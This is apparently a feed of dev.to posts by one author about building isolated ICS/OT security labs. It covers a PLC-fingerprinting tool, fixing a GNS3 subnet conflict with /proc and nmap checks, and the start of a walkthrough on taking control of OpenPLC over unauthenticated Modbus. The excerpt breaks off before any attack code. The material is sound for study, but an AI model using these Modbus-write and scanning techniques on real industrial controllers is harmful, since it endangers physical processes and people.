            &lt;/span&gt;&lt;span class="nl"&gt;"entropy"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"unique_values"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"change_rate"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"risk"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"overall_risk"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Medium"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"risk_score"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"reasoning"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="s2"&gt;"No register changes detected"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Phase 3: The Verdict
&lt;/h2&gt;

&lt;p&gt;The tool worked exactly as intended, and it called me out completely.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Zero Entropy (&lt;code&gt;entropy: 0.0&lt;/code&gt;):&lt;/strong&gt; MEA calculated a mathematical entropy score of absolute zero. Over multiple read cycles, every single holding register returned identical, unmoving bits.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;High Confidence Classification:&lt;/strong&gt; Because there was no data fluctuation or real-world sensor drift, the tool flagged the asset as a &lt;strong&gt;Static Device&lt;/strong&gt; with high confidence.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Simulation Fingerprint:&lt;/strong&gt; A live industrial process controlling physical assets (like pumps, levels, or temperatures) exhibits continuous micro-fluctuations in its register telemetry. Because this containerized environment was idle and unmapped to a dynamic physical emulation engine, MEA caught the simulation red-handed.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Lessons Learned
&lt;/h2&gt;

&lt;p&gt;Building security tools is one thing; testing them against your own infrastructure is where the reality check happens.&lt;/p&gt;

&lt;p&gt;If your passive analyzer is throwing connection resets or broken pipes, don't immediately assume your code is broken. Check the underlying network engine layers, mind your library dependency syntax updates, and most importantly... make sure you actually turned the target PLC on.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;MEA Source Code:&lt;/strong&gt; &lt;a href="https://github.com/404saint/mea" rel="noopener noreferrer"&gt;github.com/404saint/mea&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ics</category>
      <category>ot</category>
      <category>mea</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>I Spent Hours Fighting a Silent Subnet Conflict to Build an Isolated ICS Security Lab (And What It Taught Me About the Linux Kernel)</title>
      <dc:creator>404Saint</dc:creator>
      <pubDate>Fri, 22 May 2026 17:30:11 +0000</pubDate>
      <link>https://dev.to/null_saint/i-spent-hours-fighting-a-silent-subnet-conflict-to-build-an-isolated-ics-security-lab-and-what-it-1ok1</link>
      <guid>https://dev.to/null_saint/i-spent-hours-fighting-a-silent-subnet-conflict-to-build-an-isolated-ics-security-lab-and-what-it-1ok1</guid>
      <description>&lt;p&gt;&lt;em&gt;By RUGERO Tesla (&lt;a href="https://github.com/404saint" rel="noopener noreferrer"&gt;@404Saint&lt;/a&gt;).&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;We’ve all been there. You have a free afternoon, a great idea, and a completely false sense of security about how long a deployment is going to take.&lt;/p&gt;

&lt;p&gt;My goal for the day was simple: build a pristine, fully isolated Operational Technology (OT) and Industrial Control Systems (ICS) security sandbox on my EndeavourOS host. The blueprint in my head was beautiful: GNS3 holding a central ethernet switch, a Kali Linux VM acting as the auditor node, an OpenPLC instance simulating a programmable logic controller, and a Fuxa container hosting a custom visual HMI dashboard.&lt;/p&gt;

&lt;p&gt;Twenty minutes, right?&lt;/p&gt;

&lt;p&gt;Fast forward a few hours later, and I was deep in the Linux kernel virtual file system decoding hexadecimal strings over raw TCP socket structures just to figure out why my network interfaces were ghosts.&lt;/p&gt;

&lt;p&gt;Here is the story of how a standard homelab setup turned into a masterclass in kernel routing, aggressive firewalls, and micro-container constraints—and how you can avoid the exact traps I fell into.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Illusion of a Simple Setup
&lt;/h2&gt;

&lt;p&gt;If you’ve ever worked with GNS3, you know it’s an incredible tool for virtualization. But when you mix it with Docker containers, things change. GNS3 strips away the standard Docker network daemon translation layer and binds container interface namespaces directly to its own virtual switch fabric.&lt;/p&gt;

&lt;p&gt;I dragged my nodes onto the canvas, wired them to a central switch, and explicitly typed out what I thought was a standard static network map inside the Debian-based containers using a classic &lt;code&gt;192.168.1.X&lt;/code&gt; block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;auto eth0
iface eth0 inet static
    address 192.168.1.30
    netmask 255.255.255.0

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I booted the canvas, fired up my Kali VM browser, typed in &lt;code&gt;http://192.168.1.30:8080&lt;/code&gt; to access the OpenPLC web dashboard, and... nothing.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5h8oj474ffypln6renyd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5h8oj474ffypln6renyd.png" alt="Connection Refused" width="799" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Flat connection refused. The lab was entirely dead on arrival.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Rabbit Hole: When the Tools Disappear
&lt;/h2&gt;

&lt;p&gt;Naturally, my immediate instinct was to drop into the auxiliary terminal of the running OpenPLC node via GNS3 to check the socket statuses.&lt;/p&gt;

&lt;p&gt;Instead of a clean bash prompt, the terminal exploded into control-character distortion. Minimalist container images don’t bundle robust interactive terminal binaries, meaning typing standard strings ended up looking like a scrambled mess: &lt;code&gt;l^H^Hs^H^H&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Fine. Plan B. I dropped into my main host terminal to execute a standard &lt;code&gt;docker exec&lt;/code&gt; command to check the listening interfaces inside the container namespace using modern replacements like &lt;code&gt;ss&lt;/code&gt; or &lt;code&gt;netstat&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; badf2aaf2595 ss &lt;span class="nt"&gt;-tuln&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The container immediately snapped back:&lt;br&gt;
&lt;code&gt;OCI runtime exec failed: exec failed: unable to start container process: exec: "ss": executable file not found in $PATH&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Production-grade security containers are stripped down to the bare metal to reduce attack surfaces. High-level user-space diagnostic binaries do not exist.&lt;/p&gt;
&lt;h3&gt;
  
  
  Going Kernel-Level
&lt;/h3&gt;

&lt;p&gt;This is where the real engineering began. If the userspace utilities are missing, you go directly to the source of truth: the Linux kernel abstractions inside the &lt;code&gt;/proc&lt;/code&gt; filesystem. I forced the container to print out its raw, active network sockets straight from the kernel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; badf2aaf2595 &lt;span class="nb"&gt;cat&lt;/span&gt; /proc/net/tcp

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The kernel spit back raw hex lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sl  local_address rem_address   st tx_queue rx_queue
 0: 00000000:1F90 00000000:0000 0A 00000000:00000000

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's look at that local address string: &lt;code&gt;00000000:1F90&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;00000000&lt;/code&gt; translates to &lt;code&gt;0.0.0.0&lt;/code&gt; (listening on all interfaces).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;1F90&lt;/code&gt; converted from hexadecimal to decimal is &lt;strong&gt;8080&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The kernel proved that the web panel was listening inside the container namespace! But notice what was completely absent: there was no hex line ending in &lt;code&gt;01F6&lt;/code&gt; (decimal &lt;strong&gt;502&lt;/strong&gt;, the standard Modbus TCP protocol socket).&lt;/p&gt;

&lt;p&gt;This gave me a major clue: the application container was technically alive, but the Modbus protocol engine hadn't initialized yet because it was waiting for an operator to log into the web GUI and click "Start PLC". But I couldn't reach the GUI.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Plot Twist: The Ghost in the Network Stack
&lt;/h2&gt;

&lt;p&gt;I tried bridging the GNS3 network directly to my native desktop browser using a Cloud Node to bypass VirtualBox entirely. Still, total radio silence.&lt;/p&gt;

&lt;p&gt;I opened a host terminal and typed &lt;code&gt;sudo ip addr show&lt;/code&gt;. The moment the output printed, the entire mystery evaporated. I saw my physical network interface:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;enp0s20f0u5: inet 192.168.1.100/24 ...

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;My actual, physical hardware home router was hosting my entire room on the &lt;code&gt;192.168.1.X&lt;/code&gt; block. By choosing that exact same subnet pool inside the virtual GNS3 switch canvas, I had created a catastrophic routing conflict in my host operating system's kernel.&lt;/p&gt;

&lt;p&gt;Whenever my computer tried to route a packet to &lt;code&gt;192.168.1.30&lt;/code&gt;, the kernel routing tables panicked. It couldn't distinguish whether the target address belonged down the virtual GNS3 wire or out through my physical ethernet cable into my physical room. To add insult to injury, my host operating system (EndeavourOS) runs an aggressive default &lt;code&gt;firewalld&lt;/code&gt; profile that was actively dropping untrusted cross-zone virtual bridge traffic.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Resolution: Pure Isolation
&lt;/h2&gt;

&lt;p&gt;The solution required an architectural shift. To build a pristine, conflict-free simulation space, you must separate your lab from reality.&lt;/p&gt;

&lt;p&gt;I tore down the configuration files and completely re-mapped the virtual layout to a unique, non-overlapping private pool: &lt;strong&gt;&lt;code&gt;10.10.10.0/24&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Kali Auditor VM:&lt;/strong&gt; &lt;code&gt;10.10.10.5&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OpenPLC Engine:&lt;/strong&gt; &lt;code&gt;10.10.10.30&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fuxa HMI Graphics:&lt;/strong&gt; &lt;code&gt;10.10.10.40&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Simulated Field Devices (VPCS):&lt;/strong&gt; &lt;code&gt;10.10.10.101&lt;/code&gt; and &lt;code&gt;10.10.10.102&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv2irligmgdpr0hz1qxfc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv2irligmgdpr0hz1qxfc.png" alt="GNS3 Topology" width="800" height="324"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I booted the clean topology, launched the native browser inside my Kali Linux node, and navigated to &lt;code&gt;http://10.10.10.30:8080&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fab0d24xdamc1eb8bsk78.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fab0d24xdamc1eb8bsk78.png" alt="openplc instance" width="800" height="305"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The web dashboard loaded instantly. I authenticated, hit the &lt;strong&gt;Start PLC&lt;/strong&gt; compilation engine to trigger the runtime daemon, and dropped back out to my Kali terminal to run a definitive &lt;br&gt;
verification scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-p&lt;/span&gt; 502,8080 10.10.10.30

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output printed a flawless victory signature:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT     STATE SERVICE
502/tcp  open  mbap
8080/tcp open  http-proxy

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port &lt;code&gt;502&lt;/code&gt; was officially wide open on the wire. The virtual industrial plant was alive, isolated, and completely transparent to my auditor node.&lt;/p&gt;




&lt;h2&gt;
  
  
  Lessons from the Trenches
&lt;/h2&gt;

&lt;p&gt;What started as a routine lab deployment turned into a critical reminder of how low-level systems interact:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Subnet isolation is non-negotiable:&lt;/strong&gt; Never let your virtual lab environments mirror your physical host infrastructure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Know your kernel mappings:&lt;/strong&gt; When containers are stripped of diagnostic tools, knowing how to parse &lt;code&gt;/proc/net/tcp&lt;/code&gt; directly from the kernel space is a superpower.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Beware of double-initialization:&lt;/strong&gt; In minimal environments, rapid web UI inputs can cause underlying application binaries to spin up duplicate threads, creating internal race conditions over sockets. Slow down and verify via network scans.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now that the networking foundation is solid, my industrial playground is ready. Next up on the roadmap is configuring custom graphic widgets in Fuxa to map live holding registers, and writing python injection scripts to interface directly with the Modbus coils.&lt;/p&gt;

&lt;p&gt;If you want to deploy this exact sandbox for your own research without hitting the same roadblocks, I’ve documented a comprehensive, beginner-friendly UI walkthrough and a deep-dive troubleshooting ledger in the repository below:&lt;/p&gt;

&lt;p&gt;👉 &lt;strong&gt;GitHub Repository:&lt;/strong&gt; &lt;a href="https://github.com/404saint/gns3-ics-security-lab" rel="noopener noreferrer"&gt;gns3-ics-security-lab&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Have you ever lost an entire afternoon to a silent subnet overlap or a hidden firewall drop zone rule? Let's talk about it in the comments below!&lt;/em&gt;&lt;/p&gt;

</description>
      <category>gns3</category>
      <category>ot</category>
      <category>ics</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>I Wrote 10 Lines of Python and Took Control of a PLC. No Password Required.</title>
      <dc:creator>404Saint</dc:creator>
      <pubDate>Mon, 18 May 2026 16:22:10 +0000</pubDate>
      <link>https://dev.to/null_saint/i-wrote-10-lines-of-python-and-took-control-of-a-plc-no-password-required-g3o</link>
      <guid>https://dev.to/null_saint/i-wrote-10-lines-of-python-and-took-control-of-a-plc-no-password-required-g3o</guid>
      <description>&lt;p&gt;&lt;em&gt;By RUGERO Tesla (&lt;a href="https://github.com/404saint" rel="noopener noreferrer"&gt;@404Saint&lt;/a&gt;).&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Before today, I had never touched industrial security. I just had a PC, some free software, and a curiosity about how critical infrastructure actually works under the hood.&lt;/p&gt;

&lt;p&gt;What I found kind of scared me.&lt;/p&gt;

&lt;h2&gt;
  
  
  Let me set the scene
&lt;/h2&gt;

&lt;p&gt;Power grids. Water treatment plants. Oil pipelines. Manufacturing floors. All of these run on something called an &lt;strong&gt;ICS — Industrial Control System&lt;/strong&gt;. At the heart of most ICS environments is a &lt;strong&gt;PLC — a Programmable Logic Controller&lt;/strong&gt;. It's basically a rugged little computer that controls physical things. &lt;em&gt;Open this valve. Spin this motor. Turn on this pump.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;These systems run the world. And a lot of them are shockingly easy to talk to.&lt;/p&gt;

&lt;p&gt;I don't mean that in a theoretical way. I mean I literally sat at my Ubuntu machine, ran a Python script, and forced a PLC's output from OFF to ON — from across the network, with zero credentials, in under a minute.&lt;/p&gt;

&lt;p&gt;Let me show you exactly how I built the lab that made that possible.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why ICS Security is Different (and Broken)
&lt;/h2&gt;

&lt;p&gt;In regular IT security, you have layers. Firewalls. Authentication. Encryption. Zero trust. People have been fighting that battle for decades and while it's far from perfect, there's at least a culture of security.&lt;/p&gt;

&lt;p&gt;ICS is a different world entirely.&lt;/p&gt;

&lt;p&gt;A lot of industrial protocols were designed in the 1970s and 80s. The engineers building them weren't thinking about cyberattacks, they were thinking about reliability. Getting a signal from point A to point B, fast and consistently, on a factory floor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Modbus&lt;/strong&gt; is the perfect example. It's one of the oldest and most widely used industrial protocols in the world. It has:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No authentication&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No encryption&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No authorization&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you can reach a device that speaks Modbus on the network, you can read from it and write to it. Full stop. The protocol doesn't ask who you are.&lt;/p&gt;

&lt;p&gt;This isn't a bug. It was a design decision that made sense in 1979 when everything was air-gapped and physically isolated. The problem is that the world changed; OT networks got connected to IT networks, which got connected to the internet, but the protocols stayed the same.&lt;/p&gt;

&lt;p&gt;That's the core of why ICS security is broken. And the best way to understand it is to see it yourself.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Lab I Built for $0
&lt;/h2&gt;

&lt;p&gt;Here's everything I used:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;th&gt;Cost&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OpenPLC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Simulates a real PLC&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Free&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;FUXA&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Basic HMI dashboard&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Free&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ignition Maker&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Industry-grade SCADA/HMI&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Free&lt;/strong&gt; (Maker license)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;pyModbus&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Python Modbus client&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Free&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Packet capture&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Free&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VirtualBox&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;VM hypervisor&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Free&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  My Hardware
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Host Workstation:&lt;/strong&gt; Intel i5 PC, 16GB RAM running EndeavourOS (Arch Linux)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attacker Node:&lt;/strong&gt; Separate physical Ubuntu machine on the same local subnet&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No physical PLCs purchased. No expensive lab kit. Just software and two computers most people already have lying around.&lt;/p&gt;




&lt;h2&gt;
  
  
  How It's Wired Together
&lt;/h2&gt;

&lt;p&gt;Here's the architecture in plain terms:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ Attacker Machine — Ubuntu ]
          |
          | Local Network
          |
[ Host Machine — EndeavourOS ]
          |
          ├── OpenPLC (Docker) ── The "PLC"
          │        |
          │        └── FUXA (Docker) ── Basic HMI, reads the PLC
          │
          └── VirtualBox
                   |
                   └── Windows 11 VM ── Ignition ── Industry SCADA, also reads PLC

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;OpenPLC is our simulated PLC. It runs ladder logic and speaks Modbus/TCP on port 502. FUXA and Ignition are two different HMIs — the operator-facing dashboards that show what the PLC is doing. The attacker machine bypasses all of that entirely.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 1 — Getting the PLC Running
&lt;/h2&gt;

&lt;p&gt;I deployed OpenPLC via Docker, mapping the control interface and web administration ports:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;--name&lt;/span&gt; openplc &lt;span class="nt"&gt;-p&lt;/span&gt; 502:502 &lt;span class="nt"&gt;-p&lt;/span&gt; 8080:8080 wzy318/openplc

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port 8080 is the web interface. Port 502 is Modbus — the one that actually matters.&lt;/p&gt;

&lt;p&gt;I loaded a simple ladder logic program, hit &lt;strong&gt;Start PLC&lt;/strong&gt;, and confirmed the status said &lt;strong&gt;Running&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3n5t0jtqiiaxvlyij7nr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3n5t0jtqiiaxvlyij7nr.png" alt="OpenPLC running dashboard" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 2 — Connecting the HMIs
&lt;/h2&gt;

&lt;h3&gt;
  
  
  FUXA
&lt;/h3&gt;

&lt;p&gt;FUXA also runs in Docker. The trick here is that two separate Docker containers cannot talk to each other via &lt;code&gt;127.0.0.1&lt;/code&gt; natively without sharing a network namespace. I had to find OpenPLC's internal bridge network IP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker inspect openplc | &lt;span class="nb"&gt;grep &lt;/span&gt;IPAddress

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Returns something like `172.17.0.2&lt;/em&gt;`&lt;/p&gt;

&lt;p&gt;Then, inside FUXA's connection parameters, I specified: &lt;code&gt;172.17.0.2:502&lt;/code&gt;, type &lt;strong&gt;Modbus TCP&lt;/strong&gt;, and toggled &lt;strong&gt;Enable&lt;/strong&gt; to &lt;strong&gt;ON&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Green dot. Connected.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foz8q8e5vt58cwtul1p8r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foz8q8e5vt58cwtul1p8r.png" alt="FUXA Connected" width="800" height="381"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Ignition
&lt;/h3&gt;

&lt;p&gt;Ignition runs on the Windows 11 VM. Because it's isolated inside a hypervisor, I couldn't use &lt;code&gt;127.0.0.1&lt;/code&gt; — I needed the host machine's actual LAN IP. I extracted it using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ip addr show | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"inet "&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; 127

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside the Ignition Gateway web console, I mapped: &lt;strong&gt;Config&lt;/strong&gt; → &lt;strong&gt;OPC-UA&lt;/strong&gt; → &lt;strong&gt;Drivers&lt;/strong&gt; → &lt;strong&gt;Create New Device&lt;/strong&gt; → &lt;strong&gt;Modbus TCP Driver&lt;/strong&gt;. I plugged in the host's LAN IP and port 502.&lt;/p&gt;

&lt;p&gt;Status configuration: &lt;strong&gt;Connected&lt;/strong&gt;.&lt;/p&gt;

